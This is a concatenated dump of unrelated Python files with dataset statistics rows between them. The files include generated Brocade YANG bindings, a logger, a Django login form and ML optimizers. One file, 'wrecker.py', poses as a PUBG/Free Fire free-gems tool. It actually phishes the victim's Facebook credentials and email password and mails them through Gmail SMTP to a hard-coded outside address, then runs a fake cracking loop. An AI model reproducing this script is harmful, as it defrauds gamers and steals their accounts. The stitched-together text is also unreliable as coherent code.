'generated-type': """YANGDynClass(base=lldp.lldp, is_container='container', presence=False, yang_name="lldp", rest_name="lldp", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'The Link Layer Discovery Protocol(LLDP).', u'sort-priority': u'115', u'callpoint': u'lldp_phy_interface_conf', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-lldp', defining_module='brocade-lldp', yang_type='container', is_config=True)""",
})
self.__lldp = t
if hasattr(self, '_set'):
self._set()
def _unset_lldp(self):
self.__lldp = YANGDynClass(base=lldp.lldp, is_container='container', presence=False, yang_name="lldp", rest_name="lldp", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'The Link Layer Discovery Protocol(LLDP).', u'sort-priority': u'115', u'callpoint': u'lldp_phy_interface_conf', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-lldp', defining_module='brocade-lldp', yang_type='container', is_config=True)
def _get_sflow(self):
"""
Getter method for sflow, mapped from YANG variable /interface/homerun/sflow (container)
"""
return self.__sflow
def _set_sflow(self, v, load=False):
"""
Setter method for sflow, mapped from YANG variable /interface/homerun/sflow (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_sflow is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_sflow() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=sflow.sflow, is_container='container', presence=False, yang_name="sflow", rest_name="sflow", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Sflow Configuration', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_FEATURE_SFLOW'}}, namespace='urn:brocade.com:mgmt:brocade-sflow', defining_module='brocade-sflow', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """sflow must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=sflow.sflow, is_container='container', presence=False, yang_name="sflow", rest_name="sflow", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Sflow Configuration', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_FEATURE_SFLOW'}}, namespace='urn:brocade.com:mgmt:brocade-sflow', defining_module='brocade-sflow', yang_type='container', is_config=True)""",
})
self.__sflow = t
if hasattr(self, '_set'):
self._set()
def _unset_sflow(self):
self.__sflow = YANGDynClass(base=sflow.sflow, is_container='container', presence=False, yang_name="sflow", rest_name="sflow", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Sflow Configuration', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_FEATURE_SFLOW'}}, namespace='urn:brocade.com:mgmt:brocade-sflow', defining_module='brocade-sflow', yang_type='container', is_config=True)
def _get_udld(self):
"""
Getter method for udld, mapped from YANG variable /interface/homerun/udld (container)
YANG Description: Interface specific UDLD configurations.
"""
return self.__udld
def _set_udld(self, v, load=False):
"""
Setter method for udld, mapped from YANG variable /interface/homerun/udld (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_udld is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_udld() directly.
YANG Description: Interface specific UDLD configurations.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=udld.udld, is_container='container', presence=False, yang_name="udld", rest_name="udld", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'UDLD commands', u'sort-priority': u'138', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-udld', defining_module='brocade-udld', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """udld must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=udld.udld, is_container='container', presence=False, yang_name="udld", rest_name="udld", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'UDLD commands', u'sort-priority': u'138', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-udld', defining_module='brocade-udld', yang_type='container', is_config=True)""",
})
self.__udld = t
if hasattr(self, '_set'):
self._set()
def _unset_udld(self):
self.__udld = YANGDynClass(base=udld.udld, is_container='container', presence=False, yang_name="udld", rest_name="udld", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'UDLD commands', u'sort-priority': u'138', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-udld', defining_module='brocade-udld', yang_type='container', is_config=True)
name = __builtin__.property(_get_name, _set_name)
ifindex = __builtin__.property(_get_ifindex)
description = __builtin__.property(_get_description, _set_description)
shutdown = __builtin__.property(_get_shutdown, _set_shutdown)
channel_group = __builtin__.property(_get_channel_group, _set_channel_group)
ip = __builtin__.property(_get_ip, _set_ip)
ipv6 = __builtin__.property(_get_ipv6, _set_ipv6)
vrf = __builtin__.property(_get_vrf, _set_vrf)
bfd = __builtin__.property(_get_bfd, _set_bfd)
track = __builtin__.property(_get_track, _set_track)
mtu = __builtin__.property(_get_mtu, _set_mtu)
switchport_basic = __builtin__.property(_get_switchport_basic, _set_switchport_basic)
switchport = __builtin__.property(_get_switchport, _set_switchport)
lacp = __builtin__.property(_get_lacp, _set_lacp)
lldp = __builtin__.property(_get_lldp, _set_lldp)
sflow = __builtin__.property(_get_sflow, _set_sflow)
udld = __builtin__.property(_get_udld, _set_udld)
_pyangbind_elements = {'name': name, 'ifindex': ifindex, 'description': description, 'shutdown': shutdown, 'channel_group': channel_group, 'ip': ip, 'ipv6': ipv6, 'vrf': vrf, 'bfd': bfd, 'track': track, 'mtu': mtu, 'switchport_basic': switchport_basic, 'switchport': switchport, 'lacp': lacp, 'lldp': lldp, 'sflow': sflow, 'udld': udld, }
| 77.702811 | 742 | 0.735666 | 7,964 | 58,044 | 5.147916 | 0.035535 | 0.036587 | 0.047807 | 0.033172 | 0.899141 | 0.8898 | 0.88175 | 0.868067 | 0.860408 | 0.846188 | 0 | 0.00902 | 0.123269 | 58,044 | 746 | 743 | 77.806971 | 0.796616 | 0.15204 | 0 | 0.476415 | 0 | 0.04717 | 0.426731 | 0.192094 | 0 | 0 | 0 | 0 | 0 | 1 | 0.127358 | false | 0 | 0.04717 | 0 | 0.28066 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
ef97926a71e3dbdcce3ad6265eaad40809795b64 | 133 | py | Python | logger.py | abner-xin/email_utils | 8412af62bfef85559fc6f0f72acf69f357591c5e | [
"MIT"
] | null | null | null | logger.py | abner-xin/email_utils | 8412af62bfef85559fc6f0f72acf69f357591c5e | [
"MIT"
] | null | null | null | logger.py | abner-xin/email_utils | 8412af62bfef85559fc6f0f72acf69f357591c5e | [
"MIT"
] | null | null | null | class logger:
@classmethod
def info(cls, msg):
print msg
@classmethod
def debug(cls, msg):
print msg | 16.625 | 24 | 0.571429 | 16 | 133 | 4.75 | 0.5625 | 0.368421 | 0.289474 | 0.368421 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.345865 | 133 | 8 | 25 | 16.625 | 0.873563 | 0 | 0 | 0.571429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.285714 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
ef99d5b8d11c24672e2062c1291d9308400b71c1 | 3,756 | py | Python | a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/x/y/z/wrecker.py | devincrack/wrecker | 08b88c5069d190cf7ea29756e1a2fa8661e112e0 | [
"MIT"
] | 1 | 2022-02-17T03:25:44.000Z | 2022-02-17T03:25:44.000Z | a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/x/y/z/wrecker.py | devincrack/wrecker | 08b88c5069d190cf7ea29756e1a2fa8661e112e0 | [
"MIT"
] | null | null | null | a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/x/y/z/wrecker.py | devincrack/wrecker | 08b88c5069d190cf7ea29756e1a2fa8661e112e0 | [
"MIT"
] | null | null | null | import smtplib
import os
import time
'''
File: Wrecker
Author: devincrack
Description: A tool to get 56 gems in pubg/free fire
'''
def banner():
"""docstring for banner"""
print('''
\033[01;34m _
\033[01;34m__ ___ __ ___ ___| | _____ _ __
\033[01;34m\ \ /\ / / '__/ _ \/ __| |/ / _ \ '__|
\033[01;34m \ V V /| | | __/ (__| < __/ |
\033[01;34m \_/\_/ |_| \___|\___|_|\_\___|_|
''')
def pubg():
print("please wait , work is under process")
time.sleep(2)
username = input(("\nEntre your username for PUBG: "))
print(f"Target Set <|{username}|>")
time.sleep(2)
print("\nWe need to verify your account with Facebook ")
#os.system(f"termux-tts-speak {verify}")
fb = input("Have you any Facebook ID <|y/n|>: ")
if fb == "Y" or fb == "y":
print("We are trying to get in your PUBG username through Facebook")
fb_id = input("Entre your username for Facebook: ")
fb_pass = input("Entre password for Facebook: ")
server = smtplib.SMTP("smtp.gmail.com",587)
server.starttls()
email = input("Enter Your Email For Verify: ")
passwd = input(f"Enter Your {email}'s Password For Verify: ")
server.login(email,passwd)
rec = "santoshjnvropar@gmail.com"
message = ("\nUsername: "+fb_id+"\n Password: "+fb_pass)
server.sendmail(email,rec,message)
elif fb == "N" or fb == "n":
PUBG_pass = input(f"After this , Entre your {username}'s password: ")
time.sleep(3)
print("\nWait for your server connection to Wrecker...")
print("\n PLEASE DON'T EXIT, OTHERWISE ID CONNECTION WILL BE BREAK...!!! ")
time.sleep(3)
for i in range(10100,99999999):
print(f"Trying password for {username} :{i}")
time.sleep(0.3)
def free_fire():
print("Please wait , work is under process")
time.sleep(2)
username = input(("\nEntre your username for FREE FIRE: "))
print(f"Target Set <|{username}|>")
time.sleep(2)
print("\nWe need to verify your account with Facebook ")
fb = input("Have you any Facebook ID <|y/n|>: ")
if fb == "Y" or fb == "y":
print("We are trying to get in your PUBG username through Facebook")
fb_id = input("Entre your username for Facebook: ")
fb_pass = input("Entre password for Facebook: ")
server = smtplib.SMTP("smtp.gmail.com",587)
server.starttls()
email = input("Enter Your Email For Verify: ")
passwd = input(f"Enter Your {email}'s Password For Verify: ")
server.login(email,passwd)
rec = "santoshjnvropar@gmail.com"
message = ("\nUsername: "+fb_id+"\n Password: "+fb_pass)
server.sendmail(email,rec,message)
elif fb == "N" or fb == "n":
FREE_FIRE_pass = input(f"After this , Entre your {username}'s password: ")
time.sleep(3)
print("\nWait for your server connection to Wrecker...")
print("\n PLEASE DON'T EXIT, OTHERWISE ID CONNECTION WILL BE BREAK...!!! ")
time.sleep(3)
print("This will ask you to send sms to our server, ALLOW THIS TO SEND SMS , wait")
time.sleep(3)
time.sleep(2)
for i in range(10100,99999999):
print(f"Trying server for {username} :{i}")
time.sleep(0.3)
game = True
while game!=0:
banner()
print("\nWelcome To Wrecker!")
print('''\n[1.] PUBG \n[2.] FREE FIRE \n[0.] Exit
''')
game = int(input("Select Your GamePlay <|1,2,0|>: "))
if game == 0:
print("Thanks For Using Wrecker!")
time.sleep(2)
exit()
elif game == 1:
pubg()
elif game == 2:
free_fire()
elif game >= 3:
print("____invalid choice____")
time.sleep(2)
os.system("clear")
| 33.535714 | 88 | 0.588392 | 510 | 3,756 | 4.192157 | 0.237255 | 0.058934 | 0.032741 | 0.015435 | 0.747428 | 0.747428 | 0.747428 | 0.725912 | 0.725912 | 0.677268 | 0 | 0.034446 | 0.257987 | 3,756 | 111 | 89 | 33.837838 | 0.732687 | 0.015974 | 0 | 0.593407 | 0 | 0.032967 | 0.479844 | 0.019739 | 0 | 0 | 0 | 0 | 0 | 1 | 0.032967 | false | 0.120879 | 0.032967 | 0 | 0.065934 | 0.21978 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
efa2ff0432bd7fefc37fa0b7ad3ce55a88607782 | 103 | py | Python | mltoolkit/mldp/utils/tools/dc_writers/__init__.py | stungkit/Copycat-abstractive-opinion-summarizer | 04fe5393a7bb6883516766b762f6a0c530e95375 | [
"MIT"
] | 51 | 2020-09-25T07:05:01.000Z | 2022-03-17T12:07:40.000Z | mltoolkit/mldp/utils/tools/dc_writers/__init__.py | stungkit/Copycat-abstractive-opinion-summarizer | 04fe5393a7bb6883516766b762f6a0c530e95375 | [
"MIT"
] | 4 | 2020-10-19T10:00:22.000Z | 2022-03-14T17:02:47.000Z | mltoolkit/mldp/utils/tools/dc_writers/__init__.py | stungkit/Copycat-abstractive-opinion-summarizer | 04fe5393a7bb6883516766b762f6a0c530e95375 | [
"MIT"
] | 22 | 2020-09-22T01:06:47.000Z | 2022-01-26T14:20:09.000Z | from .csv_writer import CsvWriter
from .json_writer import JsonWriter
from ._factory import get_writer
| 25.75 | 35 | 0.854369 | 15 | 103 | 5.6 | 0.6 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116505 | 103 | 3 | 36 | 34.333333 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
efd55184efabd64b51dd37948298ec851a6d7ae6 | 124 | py | Python | tests/__init__.py | x0rzkov/sublime-go | b77d78594caed017f040fe6c4168e525a563e28b | [
"MIT"
] | 51 | 2019-08-18T18:18:42.000Z | 2022-02-09T07:44:42.000Z | tests/__init__.py | x0rzkov/sublime-go | b77d78594caed017f040fe6c4168e525a563e28b | [
"MIT"
] | 28 | 2019-08-19T04:10:52.000Z | 2020-12-09T16:39:26.000Z | tests/__init__.py | localhots/sublime-go | 960e72dafdb6c69d78bb5cbd88052540342517b9 | [
"MIT"
] | 4 | 2019-11-12T20:39:54.000Z | 2021-07-30T09:57:32.000Z |
import os.path as path
import sys
import os
sys.path.append(os.getcwd())
sys.path.append(path.join(os.getcwd(), 'tests'))
| 15.5 | 48 | 0.725806 | 22 | 124 | 4.090909 | 0.409091 | 0.177778 | 0.288889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.104839 | 124 | 7 | 49 | 17.714286 | 0.810811 | 0 | 0 | 0 | 0 | 0 | 0.04065 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.6 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
efe12162d8a454b387aa7e0fec6170e909ac16a9 | 285 | py | Python | app/views/home_view.py | gmoshe27/gadberger.com | d044589e80959f788c8bd2f24ed1937b0e2e9544 | [
"MIT"
] | null | null | null | app/views/home_view.py | gmoshe27/gadberger.com | d044589e80959f788c8bd2f24ed1937b0e2e9544 | [
"MIT"
] | null | null | null | app/views/home_view.py | gmoshe27/gadberger.com | d044589e80959f788c8bd2f24ed1937b0e2e9544 | [
"MIT"
] | null | null | null | from flask import Flask, request, render_template, jsonify, g, current_app
from flask.ext.classy import FlaskView
class HomeView(FlaskView):
def index(self):
return render_template('home/index.html')
def about(self):
return render_template('home/about.html')
| 28.5 | 74 | 0.729825 | 38 | 285 | 5.368421 | 0.578947 | 0.205882 | 0.156863 | 0.235294 | 0.27451 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.17193 | 285 | 9 | 75 | 31.666667 | 0.864407 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.285714 | 0.285714 | 1 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
ef04e78141f436c5b01a17a16901b26b8a3a9136 | 228 | py | Python | demo_project/demo_app/form.py | onlysyz/dfoodweb | 24082deca803f82df28a237e905faf263b507e3e | [
"Apache-2.0"
] | 3 | 2017-04-21T15:54:55.000Z | 2017-04-28T16:18:21.000Z | demo_project/demo_app/form.py | onlysyz/dfoodweb | 24082deca803f82df28a237e905faf263b507e3e | [
"Apache-2.0"
] | null | null | null | demo_project/demo_app/form.py | onlysyz/dfoodweb | 24082deca803f82df28a237e905faf263b507e3e | [
"Apache-2.0"
] | null | null | null | class LoginForm(forms.Form):
username=forms.UsernameField(required=True,error_messages={'required':"用户名不能为空"})
password=forms.PasswordField(max_length=120,min_length=6,required=True,error_messages={'required':"密码不能为空"})
| 57 | 112 | 0.789474 | 28 | 228 | 6.285714 | 0.678571 | 0.136364 | 0.193182 | 0.284091 | 0.375 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018519 | 0.052632 | 228 | 3 | 113 | 76 | 0.796296 | 0 | 0 | 0 | 0 | 0 | 0.127193 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.333333 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
328870534bacf0a73bc1d70a5814197505148da6 | 33 | py | Python | mcdc_tnt/pyk_kernels/advance/__init__.py | jpmorgan98/MCDC-TNT | a7772b169eb431c54e729feff4128545a735c7c2 | [
"BSD-3-Clause"
] | null | null | null | mcdc_tnt/pyk_kernels/advance/__init__.py | jpmorgan98/MCDC-TNT | a7772b169eb431c54e729feff4128545a735c7c2 | [
"BSD-3-Clause"
] | null | null | null | mcdc_tnt/pyk_kernels/advance/__init__.py | jpmorgan98/MCDC-TNT | a7772b169eb431c54e729feff4128545a735c7c2 | [
"BSD-3-Clause"
] | null | null | null | from .advance_pyk import Advance
| 16.5 | 32 | 0.848485 | 5 | 33 | 5.4 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121212 | 33 | 1 | 33 | 33 | 0.931034 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
088068035b8e468d014081f103fc61b8d13c04e0 | 39 | py | Python | fastapi_helpers/crud/__init__.py | finalsa/fastapi-helpers | 3fc06e4445e29416876822d3f9485c65c51886cc | [
"MIT"
] | 2 | 2021-09-19T00:56:42.000Z | 2022-01-19T06:13:45.000Z | fastapi_helpers/crud/__init__.py | finalsa/fastapi-helpers | 3fc06e4445e29416876822d3f9485c65c51886cc | [
"MIT"
] | 1 | 2021-11-27T18:05:08.000Z | 2021-12-24T02:42:11.000Z | fastapi_helpers/crud/__init__.py | finalsa/fastapi-helpers | 3fc06e4445e29416876822d3f9485c65c51886cc | [
"MIT"
] | 1 | 2021-12-23T07:21:56.000Z | 2021-12-23T07:21:56.000Z | from .BaseCrud import BaseCrud, to_dict | 39 | 39 | 0.846154 | 6 | 39 | 5.333333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102564 | 39 | 1 | 39 | 39 | 0.914286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
08aa07165aeb8c95428ab42bb299dc785a687b64 | 101 | py | Python | tests/test_models.py | dmitrypol/covid19 | 18bdd43ebec409f51931cd497f792ad7a7ef8b1c | [
"MIT"
] | 3 | 2020-09-28T01:28:47.000Z | 2022-02-13T12:19:37.000Z | tests/test_models.py | dmitrypol/covid19 | 18bdd43ebec409f51931cd497f792ad7a7ef8b1c | [
"MIT"
] | null | null | null | tests/test_models.py | dmitrypol/covid19 | 18bdd43ebec409f51931cd497f792ad7a7ef8b1c | [
"MIT"
] | null | null | null | import pytest
from app import models
def test_location():
assert models.Location() is not None
| 14.428571 | 40 | 0.752475 | 15 | 101 | 5 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.188119 | 101 | 6 | 41 | 16.833333 | 0.914634 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.25 | true | 0 | 0.5 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
08ce6284ef8489fa68fb23d787c2a04bc91c77f7 | 6,499 | py | Python | neowise/neowise/optimizers.py | mihirkestur/neowise | 2bce24812fb276f07bdbced605c28e0f865dd6eb | [
"MIT"
] | 11 | 2020-08-10T19:55:58.000Z | 2020-10-12T03:02:46.000Z | neowise/neowise/optimizers.py | mihirkestur/neowise | 2bce24812fb276f07bdbced605c28e0f865dd6eb | [
"MIT"
] | null | null | null | neowise/neowise/optimizers.py | mihirkestur/neowise | 2bce24812fb276f07bdbced605c28e0f865dd6eb | [
"MIT"
] | 2 | 2020-08-13T11:25:58.000Z | 2021-03-02T14:18:58.000Z | import numpy as np
class OptimizerHelpers:
"""
Optimizer Helpers
Used to initiate the instance variables of nw.optimizers
Arguments:
alpha: Learning rate of the network (float)
layers_arr: List containing the objects of nw.layers (List)
V_dict: Dictionary containing the moving averages of the gradient of weights of all the layers (nd-array)
S_dict: Dictionary containing the moving averages of the squared gradient of weights of all the layers (nd-array)
t: Number of iterations elapsed (int)
"""
def __init__(self, alpha, layers_arr, V_dict, S_dict, t):
self.alpha, self.layers_arr, self.V_dict, self.S_dict, self.t = alpha, layers_arr, V_dict, S_dict, t
class GradientDescent(OptimizerHelpers):
"""
Gradient Descent
Arguments:
alpha: Learning rate of the network (float)
layers_arr: List containing the objects of nw.layers (List)
V_dict: Dictionary containing the moving averages of the gradient of weights of all the layers (nd-array)
S_dict: Dictionary containing the moving averages of the squared gradient of weights of all the layers (nd-array)
t: Number of iterations elapsed (int)
"""
def __init__(self, alpha, layers_arr, V_dict, S_dict, t):
OptimizerHelpers.__init__(self, alpha, layers_arr, V_dict, S_dict, t)
def __call__(self):
for layers in self.layers_arr:
layers.weights -= (self.alpha * layers.dW)
layers.bias -= (self.alpha * layers.db)
class Momentum(OptimizerHelpers):
"""
Gradient Descent with Momentum
Arguments:
alpha: Learning rate of the network (float)
layers_arr: List containing the objects of nw.layers (List)
V_dict: Dictionary containing the moving averages of the gradient of weights of all the layers (nd-array)
S_dict: Dictionary containing the moving averages of the squared gradient of weights of all the layers (nd-array)
t: Number of iterations elapsed (int)
"""
def __init__(self, alpha, layers_arr, V_dict, S_dict, t):
OptimizerHelpers.__init__(self, alpha, layers_arr, V_dict, S_dict, t)
def __call__(self):
beta1 = 0.9
for h in range(1, len(self.layers_arr) + 1):
self.V_dict["Vdw" + str(h)] = (beta1 * self.V_dict["Vdw" + str(h)]) + (
(1 - beta1) * self.layers_arr[h - 1].dW)
self.V_dict["Vdb" + str(h)] = (beta1 * self.V_dict["Vdb" + str(h)]) + (
(1 - beta1) * self.layers_arr[h - 1].db)
for g in range(1, len(self.layers_arr) + 1):
self.layers_arr[g - 1].weights -= (self.alpha * self.V_dict["Vdw" + str(g)])
self.layers_arr[g - 1].bias -= (self.alpha * self.V_dict["Vdb" + str(g)])
class RMSProp(OptimizerHelpers):
"""
Root Mean Square Propagation
Arguments:
alpha: Learning rate of the network (float)
layers_arr: List containing the objects of nw.layers (List)
V_dict: Dictionary containing the moving averages of the gradient of weights of all the layers (nd-array)
S_dict: Dictionary containing the moving averages of the squared gradient of weights of all the layers (nd-array)
t: Number of iterations elapsed (int)
"""
def __init__(self, alpha, layers_arr, V_dict, S_dict, t):
OptimizerHelpers.__init__(self, alpha, layers_arr, V_dict, S_dict, t)
def __call__(self):
beta2 = 0.999
epsilon = 1e-8
for h in range(1, len(self.layers_arr) + 1):
self.S_dict["Sdw" + str(h)] = (beta2 * self.S_dict["Sdw" + str(h)]) + (
(1 - beta2) * np.square(self.layers_arr[h - 1].dW))
self.S_dict["Sdb" + str(h)] = (beta2 * self.S_dict["Sdb" + str(h)]) + (
(1 - beta2) * np.square(self.layers_arr[h - 1].db))
for g in range(1, len(self.layers_arr) + 1):
self.layers_arr[g - 1].weights -= (
(self.alpha * self.layers_arr[g - 1].dW) / (np.sqrt(self.S_dict["Sdw" + str(g)]) + epsilon))
self.layers_arr[g - 1].bias -= (
(self.alpha * self.layers_arr[g - 1].db) / (np.sqrt(self.S_dict["Sdb" + str(g)]) + epsilon))
class Adam(OptimizerHelpers):
"""
Adam
Arguments:
alpha: Learning rate of the network (float)
layers_arr: List containing the objects of nw.layers (List)
V_dict: Dictionary containing the moving averages of the gradient of weights of all the layers (nd-array)
S_dict: Dictionary containing the moving averages of the squared gradient of weights of all the layers (nd-array)
t: Number of iterations elapsed (int)
"""
def __init__(self, alpha, layers_arr, V_dict, S_dict, t):
OptimizerHelpers.__init__(self, alpha, layers_arr, V_dict, S_dict, t)
def __call__(self):
beta1 = 0.9
beta2 = 0.999
epsilon = 1e-8
S_dict_corr = {}
V_dict_corr = {}
for h in range(1, len(self.layers_arr) + 1):
self.V_dict["Vdw" + str(h)] = (beta1 * self.V_dict["Vdw" + str(h)]) + (
(1 - beta1) * self.layers_arr[h - 1].dW)
self.V_dict["Vdb" + str(h)] = (beta1 * self.V_dict["Vdb" + str(h)]) + (
(1 - beta1) * self.layers_arr[h - 1].db)
self.S_dict["Sdw" + str(h)] = (beta2 * self.S_dict["Sdw" + str(h)]) + (
(1 - beta2) * np.square(self.layers_arr[h - 1].dW))
self.S_dict["Sdb" + str(h)] = (beta2 * self.S_dict["Sdb" + str(h)]) + (
(1 - beta2) * np.square(self.layers_arr[h - 1].db))
for n in range(1, len(self.layers_arr) + 1):
S_dict_corr["Sdw" + str(n)] = self.S_dict["Sdw" + str(n)] / (1 - np.power(beta2, self.t))
S_dict_corr["Sdb" + str(n)] = self.S_dict["Sdb" + str(n)] / (1 - np.power(beta2, self.t))
V_dict_corr["Vdw" + str(n)] = self.V_dict["Vdw" + str(n)] / (1 - np.power(beta1, self.t))
V_dict_corr["Vdb" + str(n)] = self.V_dict["Vdb" + str(n)] / (1 - np.power(beta1, self.t))
for g in range(1, len(self.layers_arr) + 1):
self.layers_arr[g - 1].weights -= (
(self.alpha * V_dict_corr["Vdw" + str(g)]) / (np.sqrt(S_dict_corr["Sdw" + str(g)]) + epsilon))
self.layers_arr[g - 1].bias -= (
(self.alpha * V_dict_corr["Vdb" + str(g)]) / (np.sqrt(S_dict_corr["Sdb" + str(g)]) + epsilon))
